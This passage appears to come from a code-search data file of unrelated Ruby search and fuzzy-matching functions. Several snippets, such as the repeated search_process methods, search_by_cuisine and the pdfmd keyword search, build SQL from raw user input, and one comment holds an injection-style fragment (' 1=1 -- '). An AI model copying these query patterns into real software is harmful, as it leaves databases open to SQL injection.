@all.each_with_object([]) do |record, matches|\n matches << record if ((record['866']['t'] == query) || (record['866']['s'] == query))\n end\n end", "def fuzzy_compare(search_words, conservative=false)\n return 0 if search_words.blank?\n \n if conservative\n search_words = Movie::conservative_normalize_rt_title(search_words)\n else\n search_words = Movie::normalize_words(search_words)\n end\n search_trigrams = Movie::trigrams(search_words, true) \n \n title_words = self.normalized_tz_title\n title_trigrams = Movie::trigrams(title_words, true) \n\n #puts \"Original title: #{rt_title}\"\n #puts \"Normalized title: #{title_words}\"\n #puts \"Search words: #{search_words}\"\n \n # Calculate the percentage of search trigrams matched in the movie title\n count = 0.0\n search_trigrams.each do |trigram|\n count += 1 if title_trigrams.include?(trigram)\n end\n percent = search_trigrams.empty? ? 0 : ((count / search_trigrams.length) * 100).to_i\n #puts \"Percent match: #{percent}\"\n percent\n end", "def search_process\n @search_text =params[:q].to_s\n all =params[:all].to_s\n exact =params[:exact].to_s\n any =params[:any].to_s\n none =params[:none].to_s\n advanced_query=\"\"\n\n if all != \"\"\n all =all.split(' ')\n all_like =all.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n all_like =all_like.join(' and ')\n advanced_query=all_like\n end\n\n if exact != \"\" && all != \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = advanced_query + \" and keyword like \" + exact\n end\n\n if exact != \"\" && all == \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = \"keyword like \" + exact\n end\n\n if any != \"\" and (all != \"\" or exact != \"\")\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = advanced_query + \" and (\" + any_like + \")\"\n end\n\n if any != \"\" and all == \"\" and exact == \"\"\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = \"(\" + any_like + \")\"\n end\n\n if none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query=advanced_query + \" and \" + none_not_like\n\n end\n\n if none != \"\" and all == \"\" and exact == \"\" and any == \"\"\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query= none_not_like\n end\n\n\n advanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\n\n parameter_search_text=@search_text.split.join(\" \")\n keyword_array =parameter_search_text.split(' ')\n keyword_count =keyword_array.size\n\n connection = ActiveRecord::Base.connection\n\n if all != \"\" or exact != \"\" or any != \"\" or none != \"\"\n @resultset = connection.execute(\"#{advanced_query}\");\n else\n @resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\n end\n\n ActiveRecord::Base.clear_active_connections!\n\n @resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '') }\n\n @model_ids =Array.new\n @model_names =Array.new\n @model_types =Array.new\n\n @resultset_strings.each do |result|\n\n substring=result[0..4]\n\n if substring == \"NMLCL\"\n cell=Cell.find_by_Cell_ID(result.to_s)\n name=cell.Cell_Name\n type=\"Cell\"\n end\n\n if substring == \"NMLCH\"\n channel=Channel.find_by_Channel_ID(result.to_s)\n name =channel.Channel_Name\n type =\"Channel\"\n end\n\n\n if substring == \"NMLNT\"\n network=Network.find_by_Network_ID(result.to_s)\n name =network.Network_Name\n type =\"Network\"\n end\n\n if substring == \"NMLSY\"\n synapse=Synapse.find_by_Synapse_ID(result.to_s)\n name =synapse.Synapse_Name\n type =\"Synapse\"\n end\n\n @model_ids.push(result)\n @model_names.push(name)\n @model_types.push(type)\n\n end\n\n if @model_ids.count != 0\n\n render :partial => 'keyword_results_list',\n :locals => {\n :model_ids => @model_ids,\n :model_names => @model_names,\n :model_types => @model_types\n }\n\n else\n\n render :partial => 'no_results'\n\n end\n\n end", "def search(word)\n \n end", "def search_process\r\nsearch_text=params[:q].to_s\r\nall=params[:all].to_s\r\nexact=params[:exact].to_s\r\nany=params[:any].to_s\r\nnone=params[:none].to_s\r\nadvanced_query=\"\"\r\n\r\nif all != \"\"\r\nall=all.split(' ')\r\nall_like=all.map {|x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nall_like=all_like.join(' and ')\r\nadvanced_query=all_like\r\nend\r\n\r\nif exact != \"\" && all != \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = advanced_query + \" and keyword like \" + exact\r\nend\r\n\r\nif exact != \"\" && all == \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = \"keyword like \" + exact\r\nend\r\n\r\nif any != \"\" and ( all != \"\" or exact != \"\" )\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = advanced_query + \" and (\" + any_like + \")\"\r\nend\r\n\r\nif any != \"\" and all == \"\" and exact == \"\"\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = \"(\" + any_like + \")\"\r\nend\r\n\r\nif none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query=advanced_query + \" and \" + none_not_like\r\n\r\nend\r\n\r\nif none != \"\" and all == \"\" and exact == \"\" and any == \"\"\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query= none_not_like\r\nend\r\n\r\n\r\n\r\n\r\n\r\nadvanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\r\nputs \"\\n\\n***********************************\\n\\n\"+advanced_query+\"\\n\\n**********************\\n\\n\"\r\n\r\nparameter_search_text=search_text.split.join(\" \")\r\n keyword_array=parameter_search_text.split(' ')\r\n keyword_count=keyword_array.size\r\n\r\nconnection = ActiveRecord::Base.connection();\r\nif all != \"\" or exact != \"\" or any != \"\" or none != \"\"\r\n@resultset = connection.execute(\"#{advanced_query}\");\r\nelse\r\n@resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\r\nend\r\nActiveRecord::Base.clear_active_connections!()\r\n\r\n@resultset.each do |res|\r\nputs res\r\nend\r\n@resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '')}\r\n@model_ids=Array.new\r\n@model_names=Array.new\r\n@model_types=Array.new\r\n@resultset_strings.each do |result|\r\nsubstring=result[0..4]\r\nputs\"\\n\\n************\"+substring\r\nif substring == \"NMLCL\"\r\ncell=Cell.find_by_Cell_ID(result.to_s)\r\nname=cell.Cell_Name\r\ntype=\"Cell\"\r\nend\r\n\r\nif substring == \"NMLCH\"\r\nchannel=Channel.find_by_Channel_ID(result.to_s)\r\nname=channel.Channel_Name\r\ntype=\"Channel\"\r\nend\r\n\r\n\r\nif substring == \"NMLNT\"\r\nnetwork=Network.find_by_Network_ID(result.to_s)\r\nname=network.Network_Name\r\ntype=\"Network\"\r\nend\r\n\r\n#if substring == \"NMLSY\"\r\n#name=Synapse.find_by_Synapse_ID(result.to_s)\r\n#type=\"Syanpse\"\r\n#end\r\n\r\n@model_ids.push(result)\r\n@model_names.push(name)\r\n@model_types.push(type)\r\nputs \"result-\"+result+\"name-\"+name.to_s\r\nend\r\n\r\nif @model_ids.count != 0\r\nrender :partial => 'keyword_results_list',:locals => {:model_ids => @model_ids,:model_names => @model_names,:model_types => @model_types}\r\nelse\r\nrender :partial => 'no_results'\r\nend\r\n\r\n\r\n end", "def search_process\r\nsearch_text=params[:q].to_s\r\nall=params[:all].to_s\r\nexact=params[:exact].to_s\r\nany=params[:any].to_s\r\nnone=params[:none].to_s\r\nadvanced_query=\"\"\r\n\r\nif all != \"\"\r\nall=all.split(' ')\r\nall_like=all.map {|x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nall_like=all_like.join(' and ')\r\nadvanced_query=all_like\r\nend\r\n\r\nif exact != \"\" && all != \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = advanced_query + \" and keyword like \" + exact\r\nend\r\n\r\nif exact != \"\" && all == \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = \"keyword like \" + exact\r\nend\r\n\r\nif any != \"\" and ( all != \"\" or exact != \"\" )\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = advanced_query + \" and (\" + any_like + \")\"\r\nend\r\n\r\nif any != \"\" and all == \"\" and exact == \"\"\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = \"(\" + any_like + \")\"\r\nend\r\n\r\nif none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query=advanced_query + \" and \" + none_not_like\r\n\r\nend\r\n\r\nif none != \"\" and all == \"\" and exact == \"\" and any == \"\"\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query= none_not_like\r\nend\r\n\r\n\r\n\r\n\r\n\r\nadvanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\r\nputs \"\\n\\n***********************************\\n\\n\"+advanced_query+\"\\n\\n**********************\\n\\n\"\r\n\r\nparameter_search_text=search_text.split.join(\" \")\r\n keyword_array=parameter_search_text.split(' ')\r\n keyword_count=keyword_array.size\r\n\r\nconnection = ActiveRecord::Base.connection();\r\nif all != \"\" or exact != \"\" or any != \"\" or none != \"\"\r\n@resultset = connection.execute(\"#{advanced_query}\");\r\nelse\r\n@resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\r\nend\r\nActiveRecord::Base.clear_active_connections!()\r\n\r\n@resultset.each do |res|\r\nputs res\r\nend\r\n@resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '')}\r\n@model_ids=Array.new\r\n@model_names=Array.new\r\n@model_types=Array.new\r\n@resultset_strings.each do |result|\r\nsubstring=result[0..4]\r\nputs\"\\n\\n************\"+substring\r\nif substring == \"NMLCL\"\r\ncell=Cell.find_by_Cell_ID(result.to_s)\r\nname=cell.Cell_Name\r\ntype=\"Cell\"\r\nend\r\n\r\nif substring == \"NMLCH\"\r\nchannel=Channel.find_by_Channel_ID(result.to_s)\r\nname=channel.Channel_Name\r\ntype=\"Channel\"\r\nend\r\n\r\n\r\nif substring == \"NMLNT\"\r\nnetwork=Network.find_by_Network_ID(result.to_s)\r\nname=network.Network_Name\r\ntype=\"Network\"\r\nend\r\n\r\n#if substring == \"NMLSY\"\r\n#name=Synapse.find_by_Synapse_ID(result.to_s)\r\n#type=\"Syanpse\"\r\n#end\r\n\r\n@model_ids.push(result)\r\n@model_names.push(name)\r\n@model_types.push(type)\r\nputs \"result-\"+result+\"name-\"+name.to_s\r\nend\r\n\r\nif @model_ids.count != 0\r\nrender :partial => 'keyword_results_list',:locals => {:model_ids => @model_ids,:model_names => @model_names,:model_types => @model_types}\r\nelse\r\nrender :partial => 'no_results'\r\nend\r\n\r\n\r\n end", "def text_match(column, search)\n column = \"#{column.to_s}_search_index\".to_sym\n self.where(':column @@ plainto_tsquery(:search)', :column => column, :search => search)\n .order_append(Sequel.function(:ts_rank, column, Sequel.function(:plainto_tsquery, search)).desc)\n end", "def test_string_matcher\n ngram_builder = SimString::NGramBuilder.new(3)\n db = SimString::Database.new(ngram_builder)\n\n db.add(\"Barack Hussein Obama II\")\n db.add(\"James Gordon Brown\")\n\n matcher = SimString::StringMatcher.new(db, SimString::CosineMeasure.new)\n\n assert_equal([], matcher.search(\"Barack Obama\", 0.6))\n assert_equal([\"James Gordon Brown\"], matcher.search(\"Gordon Brown\", 0.6))\n assert_equal([], matcher.search(\"Obama\", 0.6))\n assert_equal([], matcher.search(\"Obama\", 1, SimString::OverlapMeasure.new))\n assert_equal([], matcher.search(\"Barack Hussein Obama I\", 1, SimString::OverlapMeasure.new))\n assert_equal([\"Barack Hussein Obama II\"], matcher.search(\"Barack Hussein Obama II\", 1, SimString::OverlapMeasure.new))\n assert_equal([\"Barack Hussein Obama II\"], matcher.search(\"Obama\", 0.42, SimString::OverlapMeasure.new))\n assert_equal([], matcher.search(\"Obama\", 0.43, SimString::OverlapMeasure.new))\n end", "def search(searched_tag)\n db = connect_to_database()\n db.results_as_hash = true\n tag_id = db.execute(\"SELECT Id FROM tags WHERE Tag =?\", searched_tag.downcase) \n return db.execute(\"SELECT * FROM memes INNER JOIN memes_tags ON memes_tags.MemeId = memes.MemeId WHERE TagId =? ORDER BY MemeId DESC\", tag_id.first[\"Id\"]) \n end", "def compare_by_revelance(query, product1, product2)\n return 0 if query.blank?\n \n words = query.split(/[ \\t\\n\\r]/)\n \n name1 = product1.name.split(/[ \\t\\n\\r]/)\n hits1 = words.select {|word| name1.include?(word)}\n \n name2 = product2.name.split(/[ \\t\\n\\r]/)\n hits2 = words.select {|word| name2.include?(word)}\n \n hits1.size <=> hits2.size\n end", "def search_similar(*args)\n Collection.search_similar(self, *args)\n end", "def searching_single(phrase)\n analyse_result(Ca::SimilarTest.mechanize_work(phrase), phrase)\n end", "def suggest_fuzzy(str, results=@max_results, strict=@strict_fuzzy_matching)\n str_mul = alphabet_only(str).size\n str_soundex_code = compute_soundex_code(str)\n str_2grams = ngram_list(str, 2)\n candidates = []\n\n @ngrams.sunion(*ngram_list(str)).each do |candidate|\n candidate = candidate.split(\":\")\n candidate_str = candidate[0]\n candidate_soundex_code = candidate[1]\n candidate_score = 1.0\n\n # Levenshtein distance\n lev_dist = Levenshtein.distance(str, candidate_str)\n candidate_score *= Math.exp([str_mul - lev_dist, 1].max)\n\n # Soundex\n if str_soundex_code == candidate_soundex_code\n candidate_score *= str_mul\n elsif str_soundex_code[1..-1] == candidate_soundex_code[1..-1]\n candidate_score *= (str_mul / 2).ceil\n end\n\n # Compute n-grams of size 2 shared between the two strings\n same_2grams = str_2grams & ngram_list(candidate_str, 2)\n candidate_score *= Math.exp(same_2grams.size)\n\n if candidate_score > 1\n candidates << {\n str: candidate_str,\n score: candidate_score\n }\n end\n end\n # Sort results by score and return the highest scoring candidates\n candidates = candidates.sort { |a, b| b[:score] <=> a[:score] }\n # puts candidates.take(10).map { |cand| \"#{cand[:str]} => #{cand[:score]}\" }\n # If strict fuzzy matching is used, only suggestion items with scores\n # above a certain threshold will be returned.\n if strict\n suggestions = []\n candidates.each do |cand|\n # threshold ||= candidates[0][:score] / 10\n threshold = Math.exp(str.size)\n break if suggestions.size > results || cand[:score] < threshold\n suggestions << cand\n end\n else\n suggestions = candidates.take(results)\n end\n return suggestions.map { |cand| cand[:str] }\n end", "def search \n\n end", "def full_card_search(search_term)\r\n # Takes a param and searches Title, Gametext, Lore in Cards for it\r\n # Returns a list of IDs of matching cards\r\n \r\n #horribly inefficient\r\n \r\n results_ids = []\r\n set_search_term(search_term)\r\n if search_term.nil?\r\n search_term = \"\"\r\n end\r\n \r\n (Card.find(:all, :select => \"id\",\r\n :conditions => [ 'LOWER(title) LIKE ? AND side = ?',\r\n '%' + search_term + '%', get_decklist_side ]) |\r\n Card.find(:all, :select => \"id\",\r\n :conditions => [ 'LOWER(gametext) LIKE ? AND side = ?',\r\n '%' + search_term + '%', get_decklist_side ]) |\r\n Card.find(:all, :select => \"id\",\r\n :conditions => [ 'LOWER(lore) LIKE ? AND side = ?',\r\n '%' + search_term + '%', get_decklist_side ])).each{ |card| results_ids << card.id }\r\n \r\n #If this doesnt work, try LIKE instead of =\r\n \r\n results_ids\r\n end", "def search_by_cuisine(database, cuisine)\n\tsearch_result = database.execute(<<-SQL \n\t\t\tSELECT * FROM restaurants WHERE cuisine LIKE \"#{cuisine}%\" ORDER BY name\n\t\tSQL\n\t\t) \n\tprint(search_result, \"cuisine\")\nend", "def search_words\n begin\n regex = Regexp.new(@pattern)\n rescue RegexpError => msg\n error_msg(msg)\n rescue NameError => msg\n error_msg(msg)\n end\n @results = DICT.select do |word|\n regex =~ word\n end\n @num_results = @results.length\n format_results\n display_results\n end", "def do_search\n @search_text = params[:q]\n\n # Doctoring for the view to find matches:\n @q = @search_text\n @q.chop! if params[:q] =~ /\\*$/\n @q = @q[1..-1] if params[:q] =~ /^\\*/\n\n # TODO: we'll want some whitelist filtering here later:\n # params[:q] = \"#{@q}*\" unless params[:q] =~ /\\*$/ or params[:q] =~ /^[-+]/ or params[:q] =~ /\\s/\n params[:q] = I18n.transliterate(params[:q]).downcase\n\n # TODO: This search suggestions block is large; extract.\n\n # First step (and, yes, this will be slow—we will optimize later), look for\n # search suggestions that match the query:\n words = params[:q].split # TODO: we might want to remove words with ^-\n # TODO: we might also want to remove stopwords e.g.: https://github.com/brenes/stopwords-filter\n suggestions = []\n # YUCK! This is the best way to do this in Searchkick at the moment, though.\n # :S\n words.each do |word|\n word_search = SearchSuggestion.search(word, fields: [{ match: :exact }])\n suggestions += word_search.results if word_search.respond_to?(:results)\n end\n\n # If we only found one thing and they only asked for one thing:\n if suggestions.size == 1 && params[:q] !~ /\\s/\n Rails.logger.warn(\"One suggestion.\")\n # TODO: move this to a helper? It can't go on the model...\n suggestion = suggestions.first\n suggestion = suggestion.synonym_of if suggestion.synonym_of\n where = case suggestion.type\n when :page\n suggestion.page\n when :object_term\n term_records_path(uri: suggestion.object_term, object: true)\n when :path\n suggestion.path\n when :wkt_string\n flash[:notice] = \"Unimplemented, sorry.\"\n \"/\"\n end\n return redirect_to(where)\n elsif suggestions.size >= 2 && params[:q] =~ /\\s/\n Rails.logger.warn(\"Multiple suggestions.\")\n groups = suggestions.group_by(&:type)\n # Easier to handle:\n groups[:page] ||= []\n groups[:object_term] ||= []\n groups[:path] ||= []\n groups[:wkt_string] ||= []\n if groups[:page].size > 1\n Rails.logger.warn(\"Multiple PAGE suggestions.\")\n # We can't use suggestions if there's more than one species. Sorry.\n flash[:notice] = t(\"search.flash.more_than_one_species\",\n species: groups[:page].map(&:match).to_sentence)\n else\n Rails.logger.warn(\"0 or 1 Page suggestions.\")\n clade = groups[:page].try(:first).try(:page_id)\n Rails.logger.warn(\"Page suggestion: #{clade}\") if clade\n if groups[:object_term].size > 2\n Rails.logger.warn(\"Over two TERM suggestions.\")\n flash[:notice] = t(\"search.flash.more_than_two_terms\",\n terms: groups[:object_term].map(&:match).to_sentence)\n elsif groups[:path].size > 0\n Rails.logger.warn(\"...had PATH suggestions.\")\n flash[:notice] = t(\"search.flash.cannot_combine_paths\",\n path: groups[:path].map(&:match).to_sentence)\n else # NOTE: this assumes we only have OBJECT term suggestions, not predicates.\n Rails.logger.warn(\"Usable suggestions...\")\n (first, second) = groups[:object_term] # Arbitrary which is first...\n Rails.logger.warn(\"First term: #{first.object_term}\")\n Rails.logger.warn(\"Second term: #{second.object_term}\") if second\n return redirect_to(term_records_path(uri: first.object_term, object: true,\n and_object: second.try(:object_term), clade: clade))\n end\n end\n end\n\n @clade = if params[:clade]\n puts \"*\" * 100\n puts \"** Filtering by clade #{params[:clade]}\"\n # It doesn't make sense to filter some things by clade:\n params[:only] = if params[:only]\n Array(params[:only]) - [:collections, :users, :predicates, :object_terms]\n else\n [:pages, :media]\n end\n puts \"Only param should now be: #{params[:only]}\"\n Page.find(params[:clade])\n else\n nil\n end\n\n default = params.has_key?(:only)? false : true\n @types = {}\n [ :pages, :collections, :articles, :images, :videos, :videos, :sounds, :links, :users, :predicates, :object_terms ].\n each do |sym|\n @types[sym] = default\n end\n\n @types[params[:only].to_sym] = true if params.has_key?(:only)\n\n # if params.has_key?(:only)\n # Array(params[:only]).each { |type| @types[type.to_sym] = true }\n # elsif params.has_key?(:except)\n # Array(params[:except]).each { |type| @types[type.to_sym] = false }\n # end\n\n # NOTE: no search is performed unless the @types hash indicates a search for\n # that class is required:\n\n @pages = if @types[:pages]\n fields = %w[preferred_vernacular_strings^20 vernacular_strings^20 preferred_scientific_names^10 scientific_name^10 synonyms^10 providers resource_pks]\n match = words.size == 1 ? :text_start : :phrase\n basic_search(Page, boost_by: [:page_richness, :specificity, :depth], match: match, fields: fields,\n where: @clade ? { ancestry_ids: @clade.id } : nil,\n includes: [:preferred_vernaculars, :medium, { native_node: { node_ancestors: :ancestor } }])\n else\n nil\n end\n\n\n @collections = if @types[:collections]\n basic_search(Collection, fields: [\"name^5\", \"description\"])\n else\n nil\n end\n\n @articles = if @types[:articles]\n basic_search(Searchkick,\n fields: [\"name^5\", \"resource_pk^10\", \"owner\", \"description^2\"],\n where: @clade ? { ancestry_ids: @clade.id } : nil,\n index_name: [Article])\n else\n nil\n end\n\n @images = if @types[:images]\n media_search(\"image\")\n else\n nil\n end\n\n @videos = if @types[:videos]\n media_search(\"video\")\n else\n nil\n end\n\n @sounds = if @types[:sounds]\n media_search(\"sound\")\n else\n nil\n end\n\n # @links = if @types[:links]\n # basic_search(Searchkick,\n # fields: [\"name^5\", \"resource_pk^10\", \"owner\", \"description^2\"],\n # where: @clade ? { ancestry_ids: @clade.id } : nil,\n # index_name: [Link])\n # else\n # nil\n # end\n\n @users = if @types[:users]\n basic_search(User, fields: [\"username^6\", \"name^4\", \"tag_line\", \"bio^2\"])\n else\n nil\n end\n\n Searchkick.multi_search([@pages, @articles, @images, @videos, @sounds, @collections, @users].compact)\n\n @pages = PageSearchDecorator.decorate_collection(@pages) if @pages\n @articles = ArticleSearchDecorator.decorate_collection(@articles) if @articles\n @images = ImageSearchDecorator.decorate_collection(@images) if @images\n @videos = VideoSearchDecorator.decorate_collection(@videos) if @videos\n @sounds = SoundSearchDecorator.decorate_collection(@sounds) if @sounds\n @collections = CollectionSearchDecorator.decorate_collection(@collections) if @collections\n @users = UserSearchDecorator.decorate_collection(@users) if @users\n\n # if @types[:predicates]\n # @predicates_count = TraitBank.count_predicate_terms(@q)\n # # NOTE we use @q here because it has no wildcard.\n # @predicates = Kaminari.paginate_array(\n # TraitBank.search_predicate_terms(@q, params[:page], params[:per_page]),\n # total_count: @predicates_count\n # ).page(params[:page]).per(params[:per_page] || 50)\n # end\n #\n # if @types[:object_terms]\n # @object_terms_count = TraitBank.count_object_terms(@q)\n # # NOTE we use @q here because it has no wildcard.\n # @object_terms = Kaminari.paginate_array(\n # TraitBank.search_object_terms(@q, params[:page], params[:per_page]),\n # total_count: @object_terms_count\n # ).page(params[:page]).per(params[:per_page] || 50)\n # end\n\n respond_to do |fmt|\n fmt.html do\n @page_title = t(:page_title_search, query: @q)\n end\n\n fmt.js { }\n\n # TODO: JSON results for other types! TODO: move; this is view logic...\n fmt.json do\n render json: JSON.pretty_generate(@pages.results.as_json(\n except: :native_node_id,\n methods: :scientific_name,\n include: {\n preferred_vernaculars: { only: [:string],\n include: { language: { only: :code } } },\n # NOTE I'm excluding a lot more for search than you would want for\n # the basic page json:\n top_media: { only: [ :id, :guid, :owner, :name ],\n methods: [:small_icon_url, :medium_icon_url],\n include: { provider: { only: [:id, :name] },\n license: { only: [:id, :name, :icon_url] } } }\n }\n ))\n end\n end\n end", "def search_results(db,choice)\n spacer\n puts \"------ RESULTS FOR #{choice.upcase} -----\"\n data =db.execute(\"SELECT * FROM notes\")\n data.each do |note|\n if note[1] == choice\n puts \"\\n #{note[2]} - #{note[3]}\"\n end\n end\n spacer\nend", "def search; end", "def match(search)\n search_words = words(search)\n haystack_words = words(haystack)\n\n (\n search_words.count { |search_word| haystack_words.include? search_word } /\n search_words.count.to_f *\n 100\n ).round\n rescue ZeroDivisionError\n 0\n end", "def search_on_filename\n needle = query.downcase.as_wiki_link\n all_pages.select { |name| name.downcase.include? needle }.map do |name|\n # unfreeze the String name by creating a \"new\" one\n SearchResult.new(name, 2 * @score, [0, name.tr('_', ' ')])\n end\n end", "def fuzzy_match( query )\n return self.keywords.fuzzy_match(query)\n end", "def matchingStrings(strings, queries)\n counting_hash = {}\n counting_hash.default = 0\n\n # For Cache\n strings.each do |s|\n counting_hash[s] ? counting_hash[s] += 1 : counting_hash[s] = 1\n end\n\n res = []\n queries.each do |q|\n res << counting_hash[q]\n end\n res\nend", "def search(search_terms)\n\n db = Sequel.sqlite(dbfilename)\n dataset = db[:pdfmd_documents].where(\"UPPER(keywords) LIKE UPPER('%#{search_terms[0]}%')\")\n result_files = ''\n dataset.all.each do |match_file|\n match_file.each do |key,value|\n if key == :keywords\n\n # Split the keywords\n keywords = value.downcase.split(/\\s*,\\s*/)\n # Search for matches in the keywords.\n if keywords.find{ |e| /#{search_terms.join(' ').downcase}/ =~ e }\n result_files += match_file[:filename] + \"\\n\"\n end\n end\n\n end\n end\n\n # Ouput result filenames\n result_files\n\n end", "def result_relevance(result, count)\n result_string, score = result\n exact_match = 0\n exact_match = 100_000 if result_string =~ search_regex\n exact_match + (count * 100) + Math.log(score.to_i)\n end", "def fulltext_search(search_string)\n\n # Strip out !, (), &, and |, because these are search vector control characters\n # Remove extra spaces\n search_string = search_string.to_s.delete(\"()!&|\").squish\n\n tsquery = sanitize_sql_array([\n %{replace(plainto_tsquery('%s')::text,' & ',' | ')::tsquery}, search_string\n ])\n\n relation = self.select(%{\n #{self.table_name}.*,\n ts_rank(#{self.table_name}.search_vector, #{tsquery}) AS search_ranking\n })\n\n return relation.where(\"#{tsquery} @@ #{self.table_name}.search_vector\")\n\n end", "def search\n data.select { |raw| raw.values.join(',').match?(/#{search_query}/) }\n end", "def search(input)\n sql = \"SELECT * FROM books WHERE (lower(author) LIKE $1) OR (lower(title) LIKE $1) OR (lower(comment) LIKE $1)\"\n values = [\"%#{input}%\"]\n result = SqlRunner.run(sql, values)\n books = result.map { |book| Book.new(book) }\n return books\nend", "def search_records(match)\n match = match.downcase\n conn.exec_params('SELECT * FROM contacts WHERE lower(first_name)=$1 OR lower(last_name)=$1', [match])\n end", "def fuzzy_match(string1, string2)\n\tshared_bigram_count = 0.0\n\tdice_coefficient = 0.0\n\tstring1_bigrams = []\n\tstring2_bigrams = []\n\t# Check length of the strings, if they aren't 2 or more we can't check using bigrams and should exact match.\n\tif string1.length && string2.length < 2\n\t\t# As these are short string we can exact match them if they exact match then return 1 (casecmp = 0 for exact match)\n\t\tstring1.casecmp(string2) == 0 ? dice_coefficient = 1.0 : dice_coefficient = 0.0\n\t\treturn dice_coefficient\n\telse\n\t\t# Get each bigram (2d ngrams) for each string so \"night\" => ['ni', 'ig', 'gh', 'ht']\n\t\tstring1.chars.each_cons(2) { |pairs| string1_bigrams << pairs.join }\n\t\tstring2.chars.each_cons(2) { |pairs| string2_bigrams << pairs.join }\n\t\t# Count the shared bigrams and return the Sorensen-Dice coefficient\n\t\tstring2_bigrams.each { |bg2| string1_bigrams.each { |bg1| shared_bigram_count += 1.0 if bg2 == bg1 } }\n\t\treturn dice_coefficient = (2.0 * shared_bigram_count) / (string1_bigrams.length + string2_bigrams.length)\n\tend\nend", "def find_similar(query)\n LOGGER.info \"find_similar #{query}\"\n\n accounts = docs_to_check(query).map do |a|\n [a, tfidf(@docs.accounts[a])]\n end\n\n q = tfidf(tokenize(query))\n\n suggestions = accounts.map do |a, d|\n {\n similarity: calc_similarity(q, d),\n account: a\n }\n end.select { |n| n[:similarity] > 0 }.sort_by { |n| -n[:similarity] }\n\n LOGGER.info \"most similar accounts: #{suggestions}\"\n\n return suggestions\n end", "def search\n\t\t@articles = Article.where(\"text = ?\",params[:q])\n \n #Article.find_by_text(params[:q])\n \n #debug\n @articles.each do |article|\n puts article.title\n end\n \n \n\t\t#@articles = Article.where(:text => params[:q]) ' 1=1 -- '\n\n\t\t#@articles = Article.where(\"text = ?\", params[:q] )\n \n \n #TODO\n # add filter for other fields\n # Article.where(\"text = ? and title = ?\",params[:text],params[:title])\n \n # to add LIKE filter SQL : name like %aa%\n # \"name LIKE ? OR postal_code like ?\", \"%#{search}%\", \"%#{search}%\"\n \n end", "def find(search)\n all_contacts = ContactDatabase.read_from_file\n all_contacts.each do |contacts|\n if contacts[1] =~ /#{search}/i or contacts[2] =~ /#{search}/i\n p \" #{contacts[0]}: #{contacts[1]} (#{contacts[2]})\" \n end \n end\n end", "def search_phrase(search, admin)\n search = search.split(\" \")\n permissions = admin ? @@member + @@admin_only : @@member\n @results = []\n\n for col in permissions\n for word in search\n self.update_results(col, word)\n end\n end\n @results\n end", "def matches(query)\n @matches ||= search(query)\n end", "def find_similar(query)\n (query_scores, corpus_scores) = td_idf_scores_for(query)\n\n query_vector = Vector.elements(query_scores, false)\n\n # For each doc, calculate the similarity to the query\n suggestions = corpus_scores.map do |account, scores|\n acct_vector = Vector.elements(scores, false)\n\n acct_query_dp = acct_vector.inner_product(query_vector)\n # similarity is a float between 1 and -1, where 1 is exactly the same and -1 is\n # exactly opposite\n # see https://en.wikipedia.org/wiki/Cosine_similarity\n # cos(theta) = (A . B) / (||A|| ||B||)\n # where A . B is the \"dot product\" and ||A|| is the magnitude of A\n # ruby has the 'matrix' library we can use to do these calculations.\n {\n similarity: acct_query_dp / (acct_vector.magnitude * query_vector.magnitude),\n account: account,\n }\n 